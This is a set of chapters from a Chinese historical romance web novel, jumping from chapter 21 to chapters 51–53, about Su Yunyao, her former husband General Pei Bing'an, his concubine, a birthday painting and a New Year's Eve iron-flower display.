没有诞下嫡长子,未必是因她身体不易怀孕,也许与同房次数太少也有关系。
时辰尚早,既然她已早醒了,今日就该补上一回。
看到他突然宽衣解带,恍然察觉他要做什么,苏云瑶皱了皱眉头,急忙制止住他。
“夫君,你昨晚喝了酒,不宜行房。”
她虽没亲眼看到他饮酒,但他昨晚在宋婉柔的屋子里呆着,身上不仅有桂花香,还有淡淡的酒味,她早就闻到了。
裴秉安动作一顿,拧眉思忖片刻。
贤妻提醒得对,昨晚一坛酒入喉,于怀上子嗣不利,确实不可同房。
他展眸沉沉看了她一眼。
重阳节那天,是他的生辰,亦是休沐之日,他会再来她的院子。
21. 第 21 章
目送裴秉安离开紫薇院,苏云瑶只觉额角青筋突突直跳。
这厮虽是纳了宋婉柔做妾,可他想要诞下子嗣,开枝散叶的想法又没变,甚至,他竟还要把一个月休沐的日子分成两半过,这么一算,和离之前,他还会偶尔来她的院子。
苏云瑶深感头疼。
一次两次还能想法子拒绝与他同房,次数再多了,难免引起他怀疑。
发愁了半天,她只好劝慰自己,总归年底就要跟他和离了,兵来将挡水来土掩,届时尽量想个法子把他打发出去就行了。
处理完府里的琐事,她又去了趟香铺。
铺子里生意蒸蒸日上,越发好了。
在铺子里看了会儿账本,刘信端来一盘她爱吃的蜜饯,搓了搓大手笑道:“小姐,现在账上的银子不少了,够赎回咱们老家的宅子了吧?”
当初苏家尚未出事前,刘信是府里的马奴,专管照料马棚里的几匹好马,离开青州这几年,就算已成了经营铺子的掌柜,还总是心心念念老家的宅子。
苏云瑶盘算了下账目,账上银子是宽裕的,等年底和离之后回到青州,她会将老宅赎回来的。
但她现在另有一件要事做。
京都商铺的生意这么好,她要在京都另置一套宅院,一来和离之后有个落脚之处,作打理生意之用,二来,京都地价金贵,商铺日渐繁多,来此做生意的人也越来越多,宅院不仅保值,还会增值,相当于另一项投资。
苏云瑶道:“这些日子,你找卖宅子的牙人带你看看附近的宅院,宅院不用特别大,两进三进的都可以,位置要好,方便进出,价钱也要公道适中,若有合适的,就打发人给我往府里送信,我要亲自看一看。”
刘信拍了拍胸脯,道:“小姐放心,包在我身上。”
不管什么事,但凡小姐发了话,他都会恭敬照做,只是寻个合适的宅院没那么容易,少不了得花费许多时日。
离开香铺,回到紫薇院,苏云瑶坐在美人榻上喝花茶歇息。
她打理着府里琐事,还要照料外边的生意,有时深感分身乏术。
正在细细思量着如何尽快将中馈的事脱手时,裴淑娴的丫鬟春燕来了紫薇院,道:“大奶奶,小姐让您去一趟她的院子。”
春燕满脸笑容,看样子还神神秘秘的,苏云瑶有些意外,立即起身朝外走。
“淑娴找我有什么事?”
春燕只笑着道:“大奶奶别问了,到了您就知道了。”
一路上,苏云瑶想着,兴许淑娴是发现了什么好吃的零嘴,亦或是买了好看的话本子要与她分享,再不济,可能又犯了相思症,需要她开解一番。
谁料到了她的院子,却看到正房中间放了张四方大桌案。
案上摆着笔墨纸砚,各种粗细不同的毛笔插在笔筒里,白色瓷碗里调了砂红、石青、藤黄、墨黑等各种颜料,琳琅满目摆了一大桌子。
苏云瑶哑然失笑,不知淑娴为何突然起了作画的兴致。
不过,只要她高兴,不再拧巴着想那贺探花,她想怎么玩闹,她都愿意作陪。
“妹妹要画什么?”苏云瑶饶有兴致地打量着她调制的颜料。
“不是我要画画,大嫂,这画案是给你准备的。”裴淑娴摇着团扇,面无表情地瞥了她一眼,“我想好了,大哥的生辰快到了,你就画一幅画送给大哥,做他的生辰礼。”
苏云瑶讶然扬起秀眉。
她少时是常作画,只是后来家里接连生事,又千里迢迢嫁到了裴府以后,没有时间,也没什么兴致再动手作画了。
以前每次裴秉安过生辰,她都会等他晚间归府后,亲手给他煮一碗长寿面。
她本还想着,这回他过生辰,宋婉柔定然会早有准备,她连长寿面都不必再煮了,实在省心了不少。
再者,这种事,宋婉柔必定要争个高低,她本就想早些抽身与裴秉安和离,此时更没必要与她抢这个风头。
只是没想到那天随口一提,淑娴却是认真放在了心上,当真给她备了画案让她作画。
看大嫂迟迟没有作声,兴许是怕作画出丑,输给那宋姨娘,裴淑娴拿扇柄在案上指了指,难得耐心地鼓励道:“大嫂试试,只要画出来,无论怎样都是一份心意,大哥不会笑你的。”
妹妹这样说,苏云瑶不好再推辞,“那画什么合适?”
裴淑娴想了想,道:“大哥的生辰在重阳节,不如就做一幅登高望远图?”
苏云瑶轻笑着摇了摇头。
那太麻烦了,画起来得花费好几天,寥寥几笔画一幅简单的,送与他做个样子就行了。
她细细思索片刻,挽起衣袖,对春燕道:“去拿个碗来。”
春燕很快拿了一只普通的瓷碗过来,按照大奶奶的吩咐放在旁边。
只是主仆两个不明所以,不知道这碗有什么用,都齐齐盯着画案,看她怎样画画。
只见苏云瑶展开白色宣纸,把碗倒扣在纸上,看上去几笔不成章法的黑墨胡乱泼洒完之后,便揭着碗底将碗拿了起来。
裴淑娴拧起了眉头,早知道大嫂这样不通书画,她就不费心安排这画案了!
可瓷碗移开,画上的景象才真正呈现出来。
只见群山嶙峋起伏,峰峦高处赫然留着一片圆形空白,恰如一轮圆月高悬空中,实在巧妙不已。
裴淑娴不由瞪大了眼睛,连手里的团扇都忘记了摇动。
她方才亲眼看着不怎么样的一幅画,霎时竟变得如此意境深远。
大嫂就像变戏法似的,就在她眼皮子底下,只用了一个碗,一支粗毛笔,甚至连那些颜料都没用,便画了这样一幅画出来!
“大嫂,你自小便学画画么?师从何人,学了多久?”
苏云瑶微微一笑,她这不过是为了省事,想个偷懒的办法,随便画上两笔罢了。
若是细细画起来,能比这个好千倍万倍。
至于拜师么,她也没有正经拜师学过,不过闲暇时,跟在娘亲身后练练笔罢了。
“胡乱画的,送与你大哥做生辰礼,你看怎样?”
裴淑娴低头来回打量了几眼,“大嫂,光画画还不够,你还要在上面题两行字作诗,送给大哥,表露心意。”
那些在画作题字的事,苏云瑶懒得再写,照她说,就这样送出去,不要压过宋婉柔的礼物就够了。
“妹妹,你别为难我了,写诗我可不会。”苏云瑶笑道。
裴淑娴若有所思地摇了摇团扇,大嫂不会没有关系,她势必要帮她一回,非得远远超过那宋姨娘不可!
“大嫂,剩下的,我来吧,等我帮你把画装裱好了,便直接送给大哥。”
妹妹愿意这样帮忙,正合苏云瑶的心意,这事拜托给她,很快便被她抛到了脑后。
时光飞逝,十多天一晃而过,转眼到了重阳节这一天。
还未到五更时分,月华院便亮起了灯,宋婉柔一早便开始梳妆挽发,装扮妥当。
她穿了身淡雅的襦裙,外披一件轻薄的云纱,腰间系着藕色丝绦,行走间丝绦随风轻摇,如弱柳扶风,姿态柔美。
静思院的护院还未上值,她已推开院门,走了进来。
晨光熹微,裴秉安早已照常起床习武。
庭院中的古槐下,他手中长刀不断翻飞起落,动作间步伐沉稳有力,刀影倏然闪过时,似将空气劈开一般,震得槐叶纷纷飘落而下,一招一式尽显刚猛之姿。
“夫君。”
裴秉安循声望去,坚毅沉冷的神色不见变化,只是在视线掠过她的时候,下意识往院门处看了一眼。
“天色尚早,为何不多睡一会儿?”
他转过身来,劲挺长指握紧刀柄,挽了个利落的刀花,收回刀锋余势,将刀嵌入刀鞘中。
“夫君忘了吗?今天是你的生辰。”
宋婉柔仰首看着他。
他刚练过武,额上挂着一层薄汗,她便将袖中的手帕拿出来,踮起脚来,想要为他擦一擦汗。
裴秉安却下意识抬臂一挡,道:“不用了,我自己来。”
宋婉柔尴尬地捏了捏手中的绣帕,裴秉安恍然不觉,只是抬袖擦了擦额角,道:“婉柔,我的生辰,一向都是简简单单地过,苏氏给我煮碗长寿面就够了。”
宋婉柔垂眸不语了一会儿,
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再抬头时,眼眸中蓄了点点清泪。
“现在我也是夫君的娘子,难道只许姐姐给夫君煮长寿面,就不许我为夫君庆生吗?”
裴秉安沉默片刻,道:“抱歉,是我失言了。”
宋婉柔抿了抿唇,不由垂眸一笑。
月华院有小厨房,她亲手煮了一碗面。
热气腾腾的鸡汤面,面条根根柔韧分明,青红菜蔬罗列,上面还卧了个白嫩的荷包蛋。
这碗令人食欲大开的汤面送到眼前的时候,裴秉安拧眉看着,突地想起苏氏曾为他煮的长寿面。
她煮的面,不是这样的做法,只一根长面放入沸水中煮熟,捞出后佐以细盐清油,尝之却令人难忘。
“夫君,快吃吧。”宋婉柔催促道。
裴秉安默然深吸一口气,提筷吃了起来。
看着一碗面快见了底,宋婉柔弯唇笑了笑,从袖间拿出一枚精致的香囊来。
香囊有着靛青色的底,绣着鸳鸯戏水的图案,针脚细腻绵密,一看便是她一针一线用心绣制的。
“夫君,送给你的生辰礼。”她温柔笑道。
裴秉安一向不喜欢佩戴这种东西,可瞧见她笑意盈盈的模样,欲言又止了片刻,任她挂在了他的腰封上。
回到静思院,他沉默端坐了许久,偶尔抬眸向房外看去,却不见有人走进这座院子。
从日头西斜,到落日熔金,都没看见苏氏的影子。
直到暮色四合时,院里突然响起轻快的脚步声。
他默然舒了口气,立刻拂袖起身,却见进来的,不是苏氏,而是妹妹裴淑娴。
“大哥,送你的生辰礼。”
裴淑娴摇着团扇走近了,将一卷画轴放在桌子上,只是视线扫过他身上佩戴着的香囊,突然冷笑了一声。
“大哥,这是宋姨娘送你的?”
她开口闭口宋姨娘的称呼,让裴秉安不悦地拧起眉头。
“莫要这样无礼,唤婉柔嫂子。”
裴淑娴噘嘴哼了一声,横插一脚破坏别人感情的女人,算她哪门子正经嫂子。
“这是大嫂送你的生辰礼。”裴淑娴拿扇柄点了点画轴,不想与他多说,便带着丫鬟走了。
妹妹贸然进来又不高兴地离开,裴秉安并不在意。
只是看到苏氏送与他的那幅画,他平直的唇角难以察觉地勾起。
展开画卷,是一幅群山秋月图。
作画之人寥寥几笔,勾勒出千里皓月之景。
画作之中,圆月悬空,月光清冽皎洁,连绵起伏的青山横亘东西,笔法干练简洁,气势恢宏洒脱,韵味悠长,意境深远。
旁边还题着几行字。
秉烛望月夜难眠,孤影对窗泪未干。
安弦只忆情深时,唯盼与君共白首。-注1
裴秉安拧眉思索片刻。
题诗可见哀怨之愁绪,与画作似乎并不相衬。
只是这种思绪很快在脑中闪过,那诗中的白首二字,令他微微动容。
苏氏是他的贤妻,他们自该生同衾,死同穴,携手共伴一生,直至白首之时。
他建功立业,光耀裴家,孝顺长辈,忠君爱国的同时,也会封妻荫子,庇护好他的妻儿。
苏氏既已送来了生辰礼,足见贤妻深藏心底的爱意,虽还未到该去她院里的时辰,但今日是个例外,不必如此恪守规矩。
裴秉安拂袖起身,阔步向紫薇院走去。
到了紫薇院,院中却不见她的影子,她的丫鬟青杏道:“将军,大奶奶出府去了,还没回来。”
裴秉安略一颔首。
无妨,他等她便是。
他信步去了她的卧房。
她的卧房与正房次间以珠帘相隔,掀帘而入,翠珠叮咚悦耳。
屋内,一尊四足青铜香炉立在妆奁台旁,炉中细香袅袅,香气清幽弥漫,闻之令人神清气爽。
妆奁台上,立着雕花菱形铜镜,是她常对镜梳妆之用。
只是铜镜之旁,放着本蓝色封皮的小册子,上写札记二字,十分陌生,未曾见过。
裴秉安视线微微凝住,大步走了过去。
50-60
第51章 第51章眸底难掩一片赤红。
赢得了比试,周边的赞叹褒奖声不绝。
苏云瑶既没有不好意思,也没有得意忘形,而是淡定如常得与阿斯王子商议交付香料的细节。
“王子殿下打算什么时候离开京都?”
阿斯双手抱臂,湛蓝深邃的眼睛一眨不眨地看着她,笑道:“本王还不知道,一切听父王安排,也许会多留一段时间。”
苏云瑶思忖片刻,道:“那就请王子殿下尽快差人把香料送到我铺子里吧,届时一手交钱,一手交货,钱货两讫,咱们这笔生意便算是完成了。”
阿斯挑起眉头,勾唇笑着点了点头。
“姑娘,那是自然,若是父王允许,本王可以亲自给你送去。”
这边刚刚约定好了交付的日子,裴秉安穿过人群大步走来,转瞬间,便来到了两人的面前。
阿斯王子微微倾身,朝他行了个西金的问候礼。
“见过裴将军。”
裴秉安淡淡颔首,视线在他与苏云瑶之间不到三尺远的距离掠过。
他们离得太近。
他若无其事地跨前一步,堪堪站在了两人之间,高大的身形完全阻住了阿斯王子的视线。
“可有需要我帮忙的地方?”他垂眸看向苏云瑶,低声问道。
“不用了,我已经安排好了。”仰首看着他,苏云瑶蹙眉轻轻摇了摇头。
香料生意的事,对她来说不是问题,倒是他的突然出现,又让她有些意外。
裴秉安以拳抵唇轻咳一声,微微偏首,避开她审视打量的视线。
“你不用多想,我不是特意为你而来,只是巧合遇见,关心一句而已。毕竟,你的生意做得顺利,我之前交于你给士兵做的香囊,才能顺利交给我。”
苏云瑶恍然点了点头,“将军放心吧,那些香囊,等年节之后,我会尽快做出来的。”
话音方落,宋婉柔一手提着墨色袍摆,弱柳扶风般,款款走了过来。
她本来以为,苏氏定然会在众人面前丢丑,却没想到,她会大出风头,除了周边那些商户对她竖起了大拇指,那陆家嫡女,永嘉郡主,甚至那景王殿下,都对她赞不绝口!
当初她期盼着把苏氏赶出裴府。
天公作美,如她所愿,苏氏离开后,她本以为,苏氏一个高门弃妇,定然会落魄不已。
没想到,她离开裴府,竟然容光焕发,神采奕奕,还过得越来越好了!
这实在让人嫉恨。
“苏姐姐,没想到你会骑马射箭,我与夫君都很惊讶,对你佩服得不得了呢。”宋婉柔弯了弯唇,说话间,特意拢紧了身上的披风。
苏云瑶瞥了一眼她身上的墨色披风。
在裴府三年,裴秉安的每件衣裳都经过她的眼。
她一下便认出来,这件披风是他今年去边境公务之前,她特意吩咐绣娘做的。
披风的领口,绣着如意云纹,寓意希望他公务顺利,平安归来。
不过,也正是这次出去办理公务,他在回来的路上,特意绕道去了甘州,将宋婉柔接回了裴府。
现在宋婉柔穿着她给他做的披风,两人站在她面前,夫唱妇随,形影不离,看上去当真是一对情深眷侣。
苏云瑶毫不在意得淡淡一笑。
往事早已随风消逝,没在她心头留下任何或怨或恨的情绪,对于他们,她等闲视之。
只不过,上下打量了宋婉柔几眼,她眉头愕然拧起,十分吃惊意外。
几个月不见,她看上去竟然憔悴了许多,两颊深深凹陷下去,眼周一圈浓重的乌青,不像是以前装病的模样,倒像是真病了。
“婉柔妹妹身子还没好吗?燕窝和人参可还吃着?你放宽心,不要多想,早日调养好身体要紧。”
她礼尚往来,随口关心了几句,宋婉柔的脸色,却变得难看无比。
自苏氏走后,崔氏当家理事,停了府里各院的人参燕窝不说,她与崔氏闹掰了,那崔氏还动不动明里暗里磋磨她,让她有苦说不出,气得病了好几次。
现在想来,苏氏在府里的那段日子,反而是她吃穿用度最好,过得最舒服的日子。
还在几人说话间,陆凤灵挽着永嘉郡主的手,快步走了过来。
不过,不等开口,她先暗暗瞪了宋姨娘一眼。
她的亲娘早逝,都是因为爹爹宠妾灭妻,原以为表哥秉性刚直,恪守规矩,与爹爹不同,但现在看来,竟也有了这个苗头。
想到这个,陆凤灵便气不打一处来。
她上前一步,状似不经意间一甩帕子,便将宋婉柔挤到了后边去。
“苏姐姐,今日你的风姿令人折服,生意做成了,我要邀你
去酒楼庆功,你不许推辞。“陆凤灵声音清脆,说话掷地有声。
永嘉郡主弱弱咳嗽了几声,一双眸子笑着弯起,也道:“苏姑娘,走吧,一同去,我做东。”
还没等苏云瑶答话,陆凤灵便亲热地牵住了她的手,拉着她往外走。
陆表妹素来是个热情爽朗的性子,永嘉郡主病体柔弱,今日难得十分高兴,她们的盛情不容拒绝,苏云瑶哑然失笑,任由她们做主。
吩咐青山将宋婉柔先送回府中,看着苏氏与表妹远去,裴秉安打算阔步跟上。
不过,刚走了几步,那位阿斯王子竟然不请自来,大步流星地超过了他,看上去打算一同前去。
景王殿下亦翩翩含笑,转眼间便超过了两人几步,目不斜视地朝她们走去。
裴秉安脸色微冷,疾步追赶了过来。
“殿下,后日即是年节了,皇上今日在宫中设家宴,殿下今日应该进宫,陪皇上用膳吧。”他淡声道。
经他提醒,萧裕才突然想起此事。
举目看了眼那远去的窈窕身影,他遗憾地叹了口气,“好吧,多谢将军提醒,本王这就去宫中。”
目送景王殿下离开,裴秉安微微松了口气。
只是那位阿斯王子,依然旁若无人似的,快步往前走着,令人望之不快。
他转眸看了一眼赫图可汗,眉头紧拧,立掌挥手,做了个请他过来的手势。
赫图可汗走近了,恭敬地道:“裴将军,您要对我说什么?”
裴秉安沉思一瞬,说:“可汗的商队,何时离开京都?”
“目前商队的货物已经大部分售完,明日,我便会率侍从先行离开了。”赫图可汗如实回答。
“那阿斯王子呢?可汗何不带王子殿下一同离开?”
想到自己的小儿子不通大雍礼节,怕他在此闯出祸来,赫图可汗立即点了点头。
不过,此时那小子不知要去哪里,赫图可汗飞步上前,道:“你要去做什么?”
不紧不慢地向前走着,瞥了一眼可汗父王,阿斯王子唇角微微扬起,露出一丝不羁的笑。
“父王,大雍的酒,我还没尝过,想来我同那位苏姑娘同饮一次,她不会拒绝吧。”
赫图可汗神色一凛,当即揪住他的衣领,把他拎了回去。
~~~
到了酒楼,点了酒菜,陆凤灵爱不释手地摸了摸手腕上的沉香珠,起身先给苏云瑶倒了一盏酒。
她与这位前表嫂十分投缘,腕上的这串沉香珠,还是前表嫂送给她的。
在府中,她的生辰无人记得,惟有前表嫂,每到她过生辰的时候,会打发人给她送她亲手做的生辰礼。
陆凤灵一盏接一盏倒着酒,永嘉郡主却只能眼巴巴看着。
她的大夫叮嘱过她,不能饮酒,他的话,她一向是最听的。
苏云瑶有些不胜酒力,一盏酒下去,两腮便浮上一抹酡红。
“苏姐姐,我在府里,不能放开了喝,今天高兴,为了庆祝苏姐姐旗开得胜,定要多喝几盏。”陆风灵道。
苏云瑶与她碰了碰酒盏,笑道:“好。”
陆凤灵看着她,认真地道:“苏姐姐,你虽与我表哥和离了,以后可不要与我生疏,我跟他不一样,我是个重情重义的人。”
苏云瑶重重点了点头,“自然不会。”
几盏酒下去,陆凤灵挽起衣袖,兴致越发高涨,要与她猜拳行令,“来,我们今日定要喝个痛快,一醉方休!”
苏云瑶忙按住她的手,晃了晃有些晕沉的脑袋,笑道:“凤灵妹妹,不要再喝了,再喝我就醉了。”
“没事,苏姐姐,再喝一盏”
一盏酒还没倒下,陆凤灵的丫鬟急急忙忙走了进来。
“姑娘,大小姐回来了,要见你呢,快回府吧。”
陆凤灵不高兴地搁下了酒盏。
她的庶姐嫁给了林丞相的长子,夫家得势,娘家偏疼,庶姐的鼻子恨不得长到头顶上,看都不屑多看她这个嫡妹一样,每次回府却偏要见她训斥几句,她心里厌烦,却不能不见。
陆凤灵还想再喝一口,丫鬟一把按住了她的酒盏,急得说话时带了哭腔。
“祖宗,快走吧,一身的酒味,可怎么跟夫人和大小姐交代啊。”
苏云瑶起身,示意丫鬟稍安勿躁。
她从衣袖里掏出枚香囊,那香囊是她惯常戴在身上的,生香驱浊,再大的酒味,都能掩盖个八九分。
她将香囊系在陆凤灵的腰间,对丫鬟道:“在马车上,记得开窗通风,散散姑娘身上的酒味。”
丫鬟眉开眼笑,忙不迭点了点头。
永嘉郡主亦站了起来。
担心陆凤灵回府被斥责,她轻声说:“苏姑娘,我送凤灵回府吧。”
凤灵能有这样的闺中好友,苏云瑶很为她欣慰。
虽与这位永嘉郡主打交道不多,相识始于艾草薄荷香饼,但能结识郡主这样温柔体贴,平易亲和的姑娘,还能与她做朋友,此时,苏云瑶深感幸运。
“那就辛苦郡主了,马车开窗风大,郡主记得披上披风,以免染了风寒。”她提醒道。
“好的,我知道了。”永嘉郡主轻声细语地说。
目送陆凤灵与永嘉郡主一同离开,坐在雅室里,喝完剩下的半盏酒,苏云瑶单手支着下颌,双眸一眨不眨地盯着眼前的酒菜,像被定住了一样。
“青桔。”过了许久,她拧眉唤道。
青桔半途离开,去买糖葫芦了,此时还没回来。
一室之隔,听到她的声音,裴秉安立即大步走了进来。
“怎么了?”
看到她双颊泛着红晕,杏眸似含了水一样,他微微一愣,眉头不自觉拧成了一团。
她酒量很差。
犹记得,有一回她过生辰,他陪她饮了两盏酒,还在说话间,她便支着脑袋,迷迷糊糊睡了过去。
她醉了酒,不识人,很乖巧,脑袋枕在他的胳膊上,一动不动地睡到天色大亮。
青桔不知何时才会回来,裴秉安沉默片刻,道:“云瑶,我送你回去吧。”
苏云瑶迷迷糊糊看了他一眼。
“好。”
她扶着他的手起身。
纤细温软的手掌,放在他的大手那一刻,裴秉安喉头艰涩地滚了滚,心中泛起无限酸涩。
以前,这是十分平常的举动。
可自与她和离后,他只能远远看着她,再也没有与她牵手的机会。
苏云瑶突然动作迟疑地一顿。
手指触碰到一只修长劲挺的大手,掌心温热,指腹却带着一层薄茧。
很熟悉,又有些陌生,是谁的手,她一时想不起来了。
艰难地思忖片刻,她慢慢收回手,小声嘀咕了一句:“你不是青桔。”
裴秉安动了动唇,还没有说出什么,外面忽然传来急促的脚步声。
徐长霖拉开雅室的门,径直走了进来。
他在来的途中,遇到了青桔,听她说大小姐在这里喝酒,便先赶了过来。
没想到,率先看见的,却是那位裴大将军。
“裴大人,有我在,不劳你照顾瑶瑶。”徐长霖正色道。
两人面对面站着,气氛变得凝滞,僵持了许久,裴秉安没有让步。
“你可以照顾她,我自然也可以照顾她。”他沉声道。
徐长霖冷冷勾唇笑了笑,“裴大人,望你有自知之明,瑶瑶已经与你和离,如果她想要你照顾,你还会是她的前夫吗?”
话音落下,寂然室内,似隐隐现出剑拔弩张的铮鸣声。
裴秉安唇角抿直,脸色沉冷无比,“徐大夫,也望你明白,如果你以前尽心照顾过云瑶,她便不会嫁给我。”
朦胧中,听到熟悉的声音,苏云瑶蹙了蹙眉头,小声道:“徐神医”
“大小姐,”徐长霖快步绕过面前的阻碍,上前扶着她起来,“你醉了,我送你回家。”
苏云瑶乖巧地点了点头,“好,我想喝绿豆汤。”
“绿豆汤醒酒,我回去给你煮。”徐长霖一只手扶着她的胳膊,另一只手扶着她的腰,慢慢走
了出去。
直直地盯着他们远去的背影,裴秉安脸上血色褪尽,长指紧握,手背青筋崩起,用力到骨节泛了白。
苏氏醉酒后,不识他,却认得徐长霖。
无声伫立良久,他默然深吸一口气,转身离开时,眸底难掩一片赤红。
第52章 第52章远远看见她,他便已心满……
坐着马车回去的路上,酒意慢慢散去,苏云瑶的神思逐渐清明了几分。
还未睁开眼睛,便听到耳旁有窸窣的响动。
“大小姐?醒了?”徐长霖温声道。
苏云瑶拧眉起眉头,有些迟疑地愣了一会儿。
脑袋还有些晕沉,她抬手揉了揉额角,低声道:“好了,我没事了。”
徐长霖低头打量了一会儿她的神色,确认她差不多彻底清醒了,便放心地点了点头,随手从旁边拿出个桔子剥了起来。
“还喝绿豆汤吗?”
苏云瑶拧眉看着他,清澈分明的杏眸满是疑惑,“我何时说过要喝绿豆汤了?”
徐长霖不动声色地给她剥着桔子,垂眸时,情绪复杂地笑了笑。
忘了也好。
那她便不会记得在酒楼时,他与那位裴大将军对峙时说过的话。
虽然那裴将军可恶,但所言并非毫无根据。
当初她家中出事,一连写了数封信到徐家时,他却因滞留在长公主的行宫中,错过了她身处艰难困境时的求助。
苏家兄嫂在世时,早就叮嘱过他要好好照顾瑶瑶。
他们年少之时,大部分时间都呆在一块儿,一起去学骑马,一起去学堂,西域的边城,海边的小镇,都留有他们共同的足迹。
若非苏家出了意外,而他又离开了青州太久,凭着青梅竹马的情谊,他们早该成亲了。
他整整晚了三年。
直到他回京以后,发现了她写的信,才知道她家中出了变故。
而那时,她已因与裴家定下的婚约,嫁到了京都。
她成亲的那一天,他失魂落魄地到裴府参宴,席间,一向从不醉酒的他,喝了个酩酊大醉。
他太亏欠她,太对不住苏家兄嫂了。
庆幸得是,所有深藏心底的情感,都没有宣之于口,她不曾知道他的心意,他们仍然能如亲朋好友般,心平气和地相处。
他本以为,这辈子,他只能在一旁默默看着她,守护着她,希望她过得越来越好,可她却与那位裴将军和离了。
想到这儿,徐长霖微微抬起长眉,弯唇无声轻笑起来。
他把剥得干干净净的桔子,放到面前的碟子里,往苏云瑶身边推了推。
“大小姐,吃桔子。”
酒后口干舌燥,正想吃点水果润润嗓子,苏云瑶慢慢吃着桔子,低头思忖了片刻。
徐长霖的姑母曾贵为皇妃,却因后宫妃嫔之争犯了差错,他的父亲亦受到牵连,当年若非是徐家遭了这件事,长辈也不会将他送到苏家避难。
他天资聪颖,医术非凡,短短几年间,便超越了父辈,即使只在京都经营一间医堂,也名声远扬,只是可惜得是,时至今日,却因徐家当年的过错,他不能去太医院任职。
而他的母亲,她当称呼她一声姑祖母,一直惋惜他无法继承祖父、父亲的太医院院判之职,断了徐家的医者官途。
就因为心内郁结,徐姑祖母的身体一直不好,眼看要到年节了,当该去徐家探望她老人家。
只是还没等她开口,徐长霖突然温声道:“大小姐,我娘一直想见你呢,你什么时候到我家来?”
他问的,恰好是她想说的,苏云瑶看着他,不由笑了起来。
“过了年节吧,我去探望姑祖母,她老人家爱吃什么?我记得上次带的龙须酥,姑祖母吃了好几块,还有桃酥糕”
她掰着手指头,一一数了起来,那模样看上去又认真,又有些发傻。
徐长霖笑着打断了她的话,“大小姐,你带什么都行,只要你人来,我娘就会高兴的。”
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翌日便是除夕,京都到处洋溢着过年的气氛,临街的商铺,已有好些挂上了打烊的牌子。
苏云瑶收了西金商队的香料后,也给铺子里的香匠与伙计们放了假。
铺子今年的生意蒸蒸日上,众人都立下了不少功劳,是以,每个人,都收到了她这位东家所发的一份厚赏。
过了午时,偶有鞭炮声响起。
为了庆祝明日的年节,整个苏宅已焕然一新,贴上了对联与福字,也挂上了大红的灯笼。
这是和离之后,自己过得第一个年节,不用去祠堂跪拜,也不用忙碌着操持府里的事务,苏云瑶清闲又自在。
暮色四合时,厨娘做了暖锅,包了饺饵,她与青桔、堂弟和刘信围坐一桌,吃着热腾腾的年夜饭,听着外面此起彼伏的鞭炮声,别提有多惬意。
“小姐,吃完年夜饭,我想和你一起去看烟火。”
青桔大口吃着涮羊肉,嘴里塞得鼓鼓的,兴致勃勃地说。
闻言,苏云瑶给她夹菜的动作一顿,为难地蹙起了眉头。
因太后娘娘薨逝,国孝未过,今年年节,京都只许放鞭炮,不能燃烟火。
她哄着青桔,“今年没有了,明年再看吧,好不好?”
青桔却皱了皱鼻子,哼道:“小姐怎哄骗我,你最爱看烟花,刚才我出去贴对联,都听人家说了,外面有放烟火的!”
苏云瑶十分意外,“你可听准了?”
青桔重重点了点头,理直气壮地说:“当然了,我听得一点儿没错!”
苏千山已吃饱了,闻言放下了筷子,说:“姐,我出去看看吧。”
出了宅院,便听到外面有热闹的声响。
他信步走出胡同一看,却见胡同外的空地上,置了一座铁炉,两个打花的人头戴皮帽,身上穿着黑夹袄,正填满了干柴烧铁水。
周边早围了一群百姓,众人兴致高昂地议论着半个时辰之后的铁花表演。
打铁花,铁火四溅,光焰灿烂,可不是与烟火十分相似么?
苏千山心头一喜,正要往回走,却忽然顿住了脚步。
就在方才,他瞥见人群中有个姑娘的影子有些眼熟,好像是那裴家小姐裴淑娴。
不过,待他愣了一瞬,反应过来之后,大步走过去时,却见她已经飞快登上了马车。
转眼间,那马车便绕过拐角,消失在了暮色中。
茫然不解地望着那马车远去的方向,苏千山疑惑地挠了挠头,快步返回了苏宅。
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夜色渐深时,陪皇上用完宫宴,裴秉安却没有回府,而是径直打马去了城宝坊。
各家炊烟袅袅,阖家欢乐的欢声笑语不断传来,偶有饺饵的香味,飘溢在街道上。
沉默着打马前行,裴秉安唇角抿直,眸底满是郁色。
他素来习惯冷清,不喜欢这种过于热闹的氛围,可自从苏氏嫁到裴府后,他的年节,已与以前有所不同了。
她会在与他一同在祠堂祭拜过祖先后,吩咐厨房摆上丰盛的年夜饭,阖府上下,主仆同聚,庆祝除夕与年节。
而在宴席之后,她会端着一碗饺饵,亲自送到他的院子,神神秘秘地笑着说:“夫君,你尝一个饺饵,我亲手煮
的。”
那碗饺饵,看上去平平无奇,没什么特别之处,他并不喜欢。
只是见她满眼充满期待,他便挑了一只,放入口中。
可饺饵入口,却有些硌牙。
他拧起眉头,沉声问她:“里面放了什么东西?”
“夫君真幸运,吃了放金币的饺子,寓意来年必然顺顺利利,心想事成的。”她扬起秀眉,笑容俏皮而甜美。
这种无稽之谈,他自然是不信的,不过因她满含笑意的高兴模样,他也无端勾起了唇角。
“你也吃一个。”他伸出大手,接过她手里的碗,给她夹了一个,放到她唇边。
谁料,她却噗嗤一笑,轻轻摇了摇头,把饺饵放到碗里,笑着道:“祝夫君新的一年笑口常开。”
因为他翌日一早便要去金吾卫,她来不及早起见他,便特意提前跟他说一句年节的吉祥话。
不过,她既没有希望他升官进爵,也没有要他财源广进,而只是想要他眉头舒展,常绽笑颜。
每一次,年节之时,他本想留她在静思院过夜。
可碍于那并不是他该宿在她院里的日子,不能坏了规矩,迟疑许久后,他只是略点了点头,对她说一句:“时候不早了,你早点回去歇息吧。”
她很柔顺,听话地离开。
后来,他才知道,她那碗饺饵,每个都放了金币,祖母、母亲与弟妹们,每人都吃到了一个,大家因吃到了象征吉利的饺饵,都开怀大笑。
而留给他的那只,因他席间无暇与她说话,她便等到散了宴席,不顾忙碌了一天的疲惫,特意送到了他的院里。
想到这里,裴秉安心头涌上无尽酸涩。
自从她离开裴府后,阖府欢笑的场面,便再也没有过了。
而他,之后每次吃到的饺饵,再也没有任何滋味。
驱马到了校尉胡同外时,铁花已扬了起来。
空中高高荡起的金色弧线,如利剑般划破夜幕,宛如鞭炮烟火齐齐在空中绽放,绚烂无比。
围观的人群,不断发出喜悦的惊叹声,青桔与她的小姐携手站在人群中,兴奋地高声喊了起来。
“小姐,你看多漂亮哪!”
“是很好看,比烟火还要璀璨夺目。”
裴秉安翻身下马,悄然负手立在无人看见的角落处,展眸一动不动地看着人群中的纤细身影。
虽然苏氏丝毫不知,这场铁花是他特意吩咐淑娴为她而准备的。
但,此时此刻,隐匿在夜幕中,远远看见她欢呼雀跃的开心模样,他便已心满意足。
第53章 第53章他心头魂牵梦萦着一个人……
夤夜时分,回到府中,静思院的正房中,却亮着一盏灯。
裴秉安愣了愣神。
